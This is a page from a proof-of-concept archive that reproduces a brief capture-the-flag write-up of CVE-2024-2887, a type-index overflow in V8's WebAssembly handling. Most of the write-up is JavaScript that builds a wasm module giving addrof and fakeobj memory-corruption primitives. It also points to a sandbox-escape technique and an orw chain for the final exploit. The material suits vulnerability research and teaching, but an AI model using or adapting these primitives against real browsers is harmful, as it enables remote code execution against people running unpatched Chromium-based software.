Associated Vulnerability
Description
For V8CTF M123
Readme
# CVE-2024-2887
This is a short writeup for the CVE-2024-2887, which I used to claim V8CTF M123.
When define more types than kV8MaxWasmTypes, which can be achieved by padding more types in RecGroup, the types index can be more than 20bits and then overflowed. Then two types can be considered same as they have the same heap_type.
We can achieve addrof primitive by creating a array with ref objects and read through float64 array and fakeobj primitive by creating a float64 array and read it as object.
The builder of wasm module show as below:
```js
const builder = new WasmModuleBuilder();
let arr = builder.addArray(kWasmF64, true);
const typeId = builder.addType(makeSig([kWasmExternRef], [kWasmI32]));
const typeId1 = builder.addType(makeSig([kWasmF64], [kWasmI32]));
function overflow(o_cnt, already_have) {
for (var i = 0; i < 1000000 - o_cnt - 1 - already_have; i++)
builder.addType(makeSig([], []));
builder.startRecGroup();
for (var i = 0; i < o_cnt + 1; i++)
builder.addType(makeSig([], []));
builder.endRecGroup();
for (var i = 0; i < o_cnt - 1; i++)
builder.addType(makeSig([], []));
}
const importId = builder.addImport('mod', 'foo', typeId1);
builder.addDeclarativeElementSegment([importId]);
const importId2 = builder.addImport('mod', 'foo2', typeId);
builder.addDeclarativeElementSegment([importId2]);
overflow(0xbdc1, 3);
let arr1 = builder.addArray(kWasmExternRef, true);
builder.addFunction("addrof", typeId).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(2),
kGCPrefix, kExprArrayNew, ...wasmSignedLeb(arr1),
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, arr,
kExprRefFunc, importId,
kExprCallRef, typeId1,
]);
builder.addFunction("fakeobj", typeId1).exportFunc()
.addLocals(wasmRefNullType(kWasmArrayRef), 1)
.addBody([
kExprLocalGet, 0,
...wasmI32Const(1),
kGCPrefix, kExprArrayNew, arr,
...wasmI32Const(0),
kGCPrefix, kExprArrayGet, ...wasmSignedLeb(arr1),
kExprRefFunc, importId2,
kExprCallRef, typeId,
]);
```
For sandbox bypasses, see [V8-Sandbox-Escape-via-Regexp](https://github.com/rycbar77/V8-Sandbox-Escape-via-Regexp). The final exploit uses normal orw chains to write the flag through stderr.
File Snapshot
[4.0K] /data/pocs/171e9742e943f66881d308be2aa8bc9f8249139e
├── [ 143] main.html
├── [2.2K] README.md
└── [ 10M] worker.js
0 directories, 3 files
Remarks
1. It is advised to access via the original source first.
2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.